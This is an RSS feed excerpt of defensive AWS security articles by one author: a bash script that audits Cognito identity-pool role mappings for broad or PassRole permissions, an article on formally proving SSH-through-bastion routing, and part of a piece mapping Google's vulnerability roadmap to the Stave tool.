&lt;p&gt;The &lt;code&gt;${cognito-identity.amazonaws.com:sub}&lt;/code&gt; substitution scopes each user's S3 access to their own prefix. No user can read another user's uploads. No user can access the analytics bucket. &lt;code&gt;iam:PassRole&lt;/code&gt; and &lt;code&gt;dynamodb:*&lt;/code&gt; are removed from the user role entirely.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to check your own environment
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# For each identity pool, check the role mapping&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;pool &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;aws cognito-identity list-identity-pools &lt;span class="nt"&gt;--max-results&lt;/span&gt; 20 &lt;span class="se"&gt;\&lt;/span&gt;
  | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.IdentityPools[].IdentityPoolId'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do

  &lt;/span&gt;&lt;span class="nv"&gt;roles&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;aws cognito-identity get-identity-pool-roles &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;--identity-pool-id&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$pool&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="si"&gt;)&lt;/span&gt;

  &lt;span class="nv"&gt;auth_role&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$roles&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.Roles.authenticated // "none"'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="nv"&gt;mappings&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$roles&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.RoleMappings | length'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Pool: &lt;/span&gt;&lt;span class="nv"&gt;$pool&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  Auth role: &lt;/span&gt;&lt;span class="nv"&gt;$auth_role&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  Role mappings: &lt;/span&gt;&lt;span class="nv"&gt;$mappings&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$mappings&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-eq&lt;/span&gt; 0 &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$auth_role&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="s2"&gt;"none"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  ⚠️  DEFAULT MAPPING — every authenticated user shares one role"&lt;/span&gt;

    &lt;span class="c"&gt;# Check what that role can do&lt;/span&gt;
    &lt;span class="nv"&gt;role_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$auth_role&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-oP&lt;/span&gt; &lt;span class="s1"&gt;'(?&amp;lt;=role/)[^/]+$'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="nv"&gt;policies&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;aws iam list-attached-role-policies &lt;span class="nt"&gt;--role-name&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$role_name&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
      | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.AttachedPolicies[].PolicyName'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="nv"&gt;inline&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;aws iam list-role-policies &lt;span class="nt"&gt;--role-name&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$role_name&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
      | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.PolicyNames[]'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;

    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  Attached policies: &lt;/span&gt;&lt;span class="nv"&gt;$policies&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  Inline policies: &lt;/span&gt;&lt;span class="nv"&gt;$inline&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

    &lt;span class="k"&gt;for &lt;/span&gt;p &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nv"&gt;$inline&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
      &lt;/span&gt;&lt;span class="nv"&gt;actions&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;aws iam get-role-policy &lt;span class="nt"&gt;--role-name&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$role_name&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;--policy-name&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$p&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
        | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.PolicyDocument.Statement[].Action | if type == "array" then .[] else . end'&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="si"&gt;)&lt;/span&gt;
      &lt;span class="k"&gt;for &lt;/span&gt;action &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="nv"&gt;$actions&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
        case&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$action&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;
          &lt;span class="k"&gt;*&lt;/span&gt;:&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="se"&gt;\*&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  🔴 BROAD ACTION: &lt;/span&gt;&lt;span class="nv"&gt;$action&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
          iam:PassRole&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  🔴 PASSROLE: &lt;/span&gt;&lt;span class="nv"&gt;$action&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="p"&gt;;;&lt;/span&gt;
        &lt;span class="k"&gt;esac&lt;/span&gt;
      &lt;span class="k"&gt;done
    done
  fi
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If any pool prints &lt;code&gt;DEFAULT MAPPING&lt;/code&gt; with &lt;code&gt;BROAD ACTION&lt;/code&gt; or &lt;code&gt;PASSROLE&lt;/code&gt;, you have the escalation path. Every user who self-registers gets those permissions.&lt;/p&gt;

&lt;h2&gt;
  
  
  The accumulation problem
&lt;/h2&gt;

&lt;p&gt;This vulnerability doesn't start as a vulnerability. It starts as a correctly scoped role with minimal permissions. It becomes a vulnerability through accumulation by one permission per feature sprint, none removed when the feature ships.&lt;/p&gt;

&lt;p&gt;The accumulation is invisible to point-in-time scanners because each permission addition is individually small and individually reasonable. Nobody adds &lt;code&gt;s3:*&lt;/code&gt; on day one. They add &lt;code&gt;s3:GetObject&lt;/code&gt; on one bucket in month one, &lt;code&gt;s3:PutObject&lt;/code&gt; on another in month three, and by month eighteen the permission set has grown to cover actions and resources that were never part of the original design.&lt;/p&gt;

&lt;p&gt;The compound check doesn't just catch the current state. It catches the interaction between the accumulated permissions and the trust model that maps every user to those permissions. That interaction turns eighteen months of individually reasonable permission additions into an open escalation path from public sign-up to admin-equivalent access.&lt;/p&gt;

&lt;p&gt;No single-resource check catches accumulation. No single-resource check connects the accumulated role to the identity pool that maps every user to it. The compound is the finding. Everything else is backlog.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;The scenarios in this article are modeled on real configurations found in production Cognito deployments and IAM security assessments. The analysis uses &lt;a href="https://github.com/sufield/stave" rel="noopener noreferrer"&gt;Stave&lt;/a&gt;, an open-source static analysis tool that evaluates cloud configurations via CEL predicates and exports standardized facts for consumption by external reasoning engines all from air-gapped snapshots with no cloud credentials required.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>aws</category>
      <category>security</category>
      <category>cognito</category>
      <category>iam</category>
    </item>
    <item>
      <title>Your Bastion Architecture Is a Claim. Here's How to Prove It.</title>
      <dc:creator>Bala Paranj</dc:creator>
      <pubDate>Mon, 07 Sep 2026 12:15:07 +0000</pubDate>
      <link>https://dev.to/bala_paranj_059d338e44e7e/your-bastion-architecture-is-a-claim-heres-how-to-prove-it-2i1p</link>
      <guid>https://dev.to/bala_paranj_059d338e44e7e/your-bastion-architecture-is-a-claim-heres-how-to-prove-it-2i1p</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;✓ Human-authored analysis; AI used for formatting and proofreading.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;Every organization with a bastion host makes the same claim: "All SSH connections to production go through the bastion." Nobody proves it.&lt;/p&gt;

&lt;p&gt;The bastion exists. It has a hardened security group. It logs sessions. The architecture diagram shows SSH flowing through it. The compliance report says bastion-mediated access is enforced.&lt;/p&gt;

&lt;p&gt;But has anyone verified that production instances ONLY accept SSH from the bastion's security group? That no VPC peering connection creates a lateral path? That no security group rule with a broad internal CIDR (&lt;code&gt;10.0.0.0/8&lt;/code&gt;) on port 22 silently bypasses the entire bastion architecture?&lt;/p&gt;

&lt;p&gt;The answer is usually no. The claim is an architectural assumption, not a verified property. The difference between those two things is the difference between "we have a bastion" and "all SSH routes through it."&lt;/p&gt;

&lt;h2&gt;
  
  
  The verification gap
&lt;/h2&gt;

&lt;p&gt;Standard security scanners check security group rules one at a time. They catch SSH open to &lt;code&gt;0.0.0.0/0&lt;/code&gt; — port 22 from the internet. Every benchmark has this check. Every tool catches it.&lt;/p&gt;

&lt;p&gt;They don't catch SSH from &lt;code&gt;10.0.0.0/8&lt;/code&gt;. That's an internal CIDR. It's not "open to the internet." It passes every existing check. But it allows any instance in the VPC and in any peered VPC whose CIDR falls within &lt;code&gt;10.0.0.0/8&lt;/code&gt; to SSH directly to production, bypassing the bastion entirely.&lt;/p&gt;

&lt;p&gt;The difference: checking a security group rule is a property of one resource. Proving that all SSH routes through the bastion is a property of the entire network graph including every security group, route table, peering connection, Transit Gateway route and VPC endpoint. No single-resource check can answer the graph-level question.&lt;/p&gt;

&lt;h2&gt;
  
  
  Formal proof
&lt;/h2&gt;

&lt;p&gt;Instead of checking each security group rule and hoping you covered them all, you ask a different question: "Does any SSH path exist from any non-bastion source to any production host that doesn't traverse a bastion?"&lt;/p&gt;

&lt;p&gt;That question has a definitive answer. Either such a path exists or it doesn't. If it exists, the proof engine produces the specific path including the exact source, destination, security group rule, and  network route that creates the bypass. If it doesn't exist, you have a mathematical proof that the bastion routing property holds for the entire network configuration.&lt;/p&gt;

&lt;p&gt;Not a scan result or a best-effort check. A proof.&lt;/p&gt;

&lt;h3&gt;
  
  
  When no bypass exists
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;═══════════════════════════════════════════
 Bastion SSH Routing Proof
═══════════════════════════════════════════

Scope: 14 production hosts across 3 VPCs
Bastion: 2 bastion hosts (bastion-east, bastion-west)
Entry points enumerated: 47
SSH paths to production: 23

PROOF: All SSH paths to production traverse a bastion host.
Verified in 0.31s. No bypass path exists.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Twenty-three SSH paths exist to production. Every one goes through a bastion. The tool didn't check 23 paths individually. It proved the property holds for ALL paths, including any path the enumeration might have missed. The proof is over the network configuration, not over a list of paths.&lt;/p&gt;

&lt;h3&gt;
  
  
  When a bypass exists
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;═══════════════════════════════════════════
 Bastion SSH Routing Proof — BYPASS FOUND
═══════════════════════════════════════════

Scope: 14 production hosts across 3 VPCs
Bastion: 2 bastion hosts (bastion-east, bastion-west)

COUNTEREXAMPLE:
  Source:      10.1.5.47 (dev-workstation, vpc-dev)
  Destination: 10.0.2.12 (prod-db-primary, vpc-prod)
  Port:        22
  Path:        dev-workstation → [vpc-peering pcx-abc] → prod-db-primary
  Bypass:      VPC peering pcx-abc connects vpc-dev to vpc-prod.
               Security group sg-prod-db allows SSH from 10.1.0.0/16.
               No bastion in the path.

REMEDIATION:
  Replace SSH ingress 10.1.0.0/16 on sg-prod-db with sg-bastion-east.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The tool didn't scan every security group looking for SSH rules. It found a specific path through a VPC peering connection that no individual SG check would catch. Because the SG rule (&lt;code&gt;10.1.0.0/16 on port 22&lt;/code&gt;) isn't "SSH from the internet." It's SSH from an internal CIDR that happens to include the dev VPC on the other side of a peering connection.&lt;/p&gt;

&lt;p&gt;The counterexample names the exact source, destination, path, security group rule, and the VPC peering connection that enables the bypass. The remediation is in the counterexample: replace the CIDR rule with a security group reference to the bastion's SG.&lt;/p&gt;

&lt;h2&gt;
  
  
  Catching the bypass
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Pattern 1: Broad internal CIDR
&lt;/h3&gt;

&lt;p&gt;The most common bypass. A production security group allows SSH from &lt;code&gt;10.0.0.0/8&lt;/code&gt; or the VPC's CIDR range. Intended to allow "internal access." It allows any instance in the network including compromised instances, developer laptops connected via VPN, and instances in peered VPCs.&lt;/p&gt;

&lt;p&gt;Every standard scanner passes this rule because it's not &lt;code&gt;0.0.0.0/0&lt;/code&gt;. The proof fails because a path exists from a non-bastion source to production.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pattern 2: VPC peering or Transit Gateway
&lt;/h3&gt;

&lt;p&gt;Two VPCs are peered such as prod and dev. The peering was created for an application integration. Nobody checked whether SSH is blocked across the peering connection. A dev workstation can SSH to a production database through the peering connection.&lt;/p&gt;

&lt;p&gt;No individual security group check catches this because each SG is correct within its VPC. The bypass is in the network topology. The peering connection creates a route that the SGs don't deny.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pattern 3: CIDR instead of SG reference
&lt;/h3&gt;

&lt;p&gt;Legitimate bastion architectures use security group references: "allow SSH from sg-bastion." This binds the rule to the bastion's identity, not its IP. When someone replaces the SG reference with the bastion's subnet CIDR (&lt;code&gt;10.0.1.0/24&lt;/code&gt;), the rule works. But now any instance in that subnet can SSH to production, not just the bastion. A new instance launched in the bastion subnet bypasses the bastion even though it's in the "bastion subnet."&lt;/p&gt;

&lt;p&gt;The proof catches this because the CIDR-based rule creates a path from non-bastion sources (any instance in the CIDR) to production. The SG-reference rule wouldn't, because only traffic from the bastion's SG matches.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this matters beyond SSH
&lt;/h2&gt;

&lt;p&gt;The bastion routing proof is one instance of a general pattern: proving that a security property holds over the entire network configuration, not just checking individual rules.&lt;/p&gt;

&lt;p&gt;The same approach verifies:&lt;/p&gt;

&lt;p&gt;Does any path exist from the internet to a database? Not "is the database's security group open to the internet" (which every scanner checks) but "is there ANY sequence of hops through a load balancer, an application server, a peering connection, a Transit Gateway that creates a network path from a public endpoint to the database's port?"&lt;/p&gt;

&lt;p&gt;Does any path exist from a sandbox to production? Same question as the bastion proof, applied to the isolation intent discussed in a previous article. A sandbox VPC tagged as isolated should have no network path to production VPCs. The proof verifies this over the entire topology, including indirect paths through Transit Gateway or peering.&lt;/p&gt;

&lt;p&gt;Does any egress path exist from a restricted VPC? A VPC with no internet gateway might still have egress through a peered VPC's NAT gateway, a Transit Gateway route to an internet-facing VPC, or a PrivateLink connection to a cross-account service. The proof finds any egress path that exists, including indirect ones.&lt;/p&gt;

&lt;p&gt;Each of these is a graph-level property that no individual resource check can answer. The proof operates over the entire network configuration simultaneously. When it says UNSAT (no path exists), that's a guarantee about the graph, not a summary of individual checks.&lt;/p&gt;

&lt;h2&gt;
  
  
  The compliance value
&lt;/h2&gt;

&lt;p&gt;Compliance frameworks require "bastion-mediated access" or "controlled administrative access" or "privileged access management." Auditors check the architecture diagram and the bastion's configuration. They don't verify that the rest of the fleet enforces bastion-only access.&lt;/p&gt;

&lt;p&gt;The proof output is compliance evidence:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PROOF: All SSH paths to production traverse a bastion host.
Scope: 14 production hosts, 3 VPCs, 47 entry points.
Verified: 2026-07-30T14:00:00Z
Duration: 0.31s
Result: UNSAT (no bypass exists)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a stronger compliance artifact than a scan report. A scan report says "we checked 47 security group rules and all look fine." The proof says "we verified that no SSH path to production exists that doesn't traverse a bastion including paths through peering connections, Transit Gateway routes, and any security group rule, not just the ones we thought to check."&lt;/p&gt;

&lt;p&gt;When the auditor asks "how do you know all SSH goes through the bastion?" the answer is a formal proof, not a checklist.&lt;/p&gt;

&lt;h2&gt;
  
  
  Continuous verification
&lt;/h2&gt;

&lt;p&gt;The proof runs on every snapshot. Configuration drifts. A VPC peering connection added for a migration. A security group rule widened for debugging. A Transit Gateway route propagated during a merge. Each creates a potential bypass. Each is caught the next time the proof runs.&lt;/p&gt;

&lt;p&gt;The first run establishes the baseline: UNSAT, bastion routing holds. Every subsequent run either confirms it still holds (UNSAT) or produces the specific change that broke it (SAT with counterexample). The operator doesn't monitor security group changes and try to reason about whether each change affects bastion routing. The proof does that reasoning for them over the entire graph, every time.&lt;/p&gt;

&lt;p&gt;If a developer adds &lt;code&gt;10.1.0.0/16&lt;/code&gt; to a production security group on port 22, the next proof run produces: "BYPASS FOUND: dev-workstation can reach prod-db-primary via this new rule." The developer didn't think they were breaking bastion routing. They were adding "internal access." The proof knows that "internal access" on port 22 is a bastion bypass.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Network entry point enumeration and bastion routing proof are implemented in &lt;a href="https://github.com/sufield/stave" rel="noopener noreferrer"&gt;Stave&lt;/a&gt;. The proof uses satisfiability checking over the network configuration graph, the same technique used by Azure's network verification (Jayaraman et al., NSDI 2015) and BGP configuration verification (Beckett et al., SIGCOMM 2017), applied to cloud security group and VPC topology. Apache 2.0.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cloudsecurity</category>
      <category>aws</category>
      <category>security</category>
      <category>networking</category>
    </item>
    <item>
      <title>Google Published the Defensive Roadmap. Here's What It Looks Like at the Infrastructure Layer.</title>
      <dc:creator>Bala Paranj</dc:creator>
      <pubDate>Sun, 06 Sep 2026 12:27:08 +0000</pubDate>
      <link>https://dev.to/bala_paranj_059d338e44e7e/google-published-the-defensive-roadmap-heres-what-it-looks-like-at-the-infrastructure-layer-48po</link>
      <guid>https://dev.to/bala_paranj_059d338e44e7e/google-published-the-defensive-roadmap-heres-what-it-looks-like-at-the-infrastructure-layer-48po</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;✓ Human-authored analysis; AI used for formatting and proofreading.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Google Cloud's COO Francis deSouza and Mandiant published a defensive roadmap for the AI-accelerated vulnerability landscape. The core argument: AI-enabled adversaries can identify, chain, and weaponize weaknesses faster than traditional vulnerability management was designed to respond. The traditional window between disclosure and exploitation is gone. The traditional concept of severity is shifting. AI can chain low-level vulnerabilities into critical breach paths.&lt;/p&gt;

&lt;p&gt;The roadmap has seven advanced modernization priorities and seven foundational steps. It's comprehensive. It's also almost entirely focused on patching, scanning, and runtime detection. The infrastructure configuration layer where blast radius is determined before any attack arrives gets one paragraph about "posture management" and a mention of Wiz.&lt;/p&gt;

&lt;p&gt;That paragraph deserves an entire article, because the compound risk lives in the configuration layer.&lt;/p&gt;

&lt;h2&gt;
  
  
  Google's Roadmap Priorities vs. Infrastructure Reality
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Google's Priority&lt;/th&gt;
&lt;th&gt;What It Means&lt;/th&gt;
&lt;th&gt;What Exists Today&lt;/th&gt;
&lt;th&gt;What Stave Adds&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Secure Your Code / CI/CD&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CI/CD pipelines are attack targets — stolen credentials from build environments enable ransomware&lt;/td&gt;
&lt;td&gt;Semgrep (code), TruffleHog (secrets), Wiz (cloud posture) — none detect long-lived CI/CD credentials composing with overprivileged roles&lt;/td&gt;
&lt;td&gt;Detects long-lived AWS + AI-provider keys in CI/CD. Compound chains model the post-theft lifecycle: stolen key + admin role + no MFA = critical path&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Automated Security Operations&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SOC must operate at AI speed — manual triage can't keep up&lt;/td&gt;
&lt;td&gt;Google SecOps, Splunk, CrowdStrike — runtime detection and response&lt;/td&gt;
&lt;td&gt;
&lt;em&gt;Out of scope.&lt;/em&gt; Infrastructure verification is pre-attack, not runtime&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Reduce Attack Surface&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Segmentation + identity controls must limit blast radius when edge devices are compromised&lt;/td&gt;
&lt;td&gt;Wiz (posture), Prowler (checks) — evaluate settings individually, not compositions&lt;/td&gt;
&lt;td&gt;Compound chains prove whether dangerous states are reachable. Public IP + IMDSv1 + admin role = one critical chain, not three separate findings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Continuous Posture Management&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unidentified assets are a blindspot — static spreadsheets don't scale&lt;/td&gt;
&lt;td&gt;Wiz, Prisma Cloud, AWS Config — continuous scanning but no input completeness reporting&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;stave readiness&lt;/code&gt; reports what % of infrastructure is observed. &lt;code&gt;stave gaps&lt;/code&gt; names missing properties and what each unlocks, in priority order&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Expand Scanning Coverage&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Every OS, endpoint, and server must be scanned for vulnerabilities&lt;/td&gt;
&lt;td&gt;Qualys, Tenable, Rapid7 — OS and network vulnerability scanning&lt;/td&gt;
&lt;td&gt;
&lt;em&gt;Out of scope.&lt;/em&gt; Infrastructure configuration, not OS/firmware vulnerabilities&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Secure AI Agents / SAIF&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AI agents with elevated permissions create a new attack surface — fine-grained IAM is critical&lt;/td&gt;
&lt;td&gt;Wiz (cloud posture for AI), Model Armor (prompt filtering) — no compound detection across agent + role + guardrail + logging&lt;/td&gt;
&lt;td&gt;49 AI agent controls. Compound chain: broad execution role + no guardrail + no logging = one critical finding. Ghost detection for deleted Lambda functions agents still reference&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Formalize Remediation SLAs&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;SLAs must be severity-based with emergency processes for active exploitation&lt;/td&gt;
&lt;td&gt;Jira SLA tracking, Wiz ticket routing — no temporal context on findings&lt;/td&gt;
&lt;td&gt;Time-aware evaluation: how long has this been misconfigured? Drift detection: what changed between snapshots? Observation freshness: is this data current enough to trust?&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;The gap:&lt;/strong&gt; Google's roadmap acknowledges AI can chain low-level vulnerabilities into critical paths. No tool in the roadmap detects that chaining at the infrastructure configuration layer. Stave fills this gap with 711 compound chains across 129 AWS service domains.&lt;/p&gt;

&lt;h2&gt;
  
  
  Compound risk
&lt;/h2&gt;

&lt;p&gt;Buried in the closing paragraph:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"The practical impact difference between a remote code execution flaw and a seemingly benign local-only exploit is rapidly disappearing."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is Google acknowledging the compound risk problem. A local-only exploit means nothing in isolation. Combined with a misconfigured instance profile, a missing guardrail, and disabled logging, it means full breach. The severity of the individual vulnerability is misleading. The severity of the composition matters.&lt;/p&gt;

&lt;p&gt;The roadmap's recommendation: use "AI-enabled scanning tools to detect groups of weaknesses that may appear minor on their own but could be chained together for exploitation."&lt;/p&gt;

&lt;p&gt;That's compound chain detection. It exists. It ships in open source. Here's what it looks like at the infrastructure layer.&lt;/p&gt;

&lt;h2&gt;
  
  
  Priority 1: Secure your code — CI/CD as an attack surface
&lt;/h2&gt;

&lt;p&gt;The roadmap says: "Security controls should cover build runners, CI/CD pipelines, and other automated execution mechanisms, which are increasingly attractive targets for threat actors."&lt;/p&gt;

&lt;p&gt;Google's own GTIG report from last month proved why. TeamPCP compromised LiteLLM, an AI gateway library used in CI/CD pipelines, and extracted AWS access keys and GitHub tokens from build environments using the SANDCLOCK credential stealer. The stolen credentials were sold to ransomware groups.&lt;/p&gt;

&lt;p&gt;The attack technique was a supply chain compromise. The blast radius was determined by a configuration property: were those CI/CD credentials long-lived access keys, or short-lived OIDC federation tokens?&lt;/p&gt;

&lt;p&gt;If the pipeline used OIDC federation, the stolen credential expires in minutes. The attacker gets nothing useful. If the pipeline stored a long-lived AWS access key as a repository secret, the attacker has persistent access until someone manually revokes it which may never happen if nobody notices the theft.&lt;/p&gt;

&lt;p&gt;One configuration property. One check. The difference between "contained incident" and "ransomware deployment."&lt;/p&gt;

&lt;p&gt;Infrastructure verification detects this before the supply chain compromise. A control that fires when a CI/CD pipeline uses long-lived AWS access keys instead of OIDC federation catches the vulnerability while it's still a configuration choice, not a breach.&lt;/p&gt;

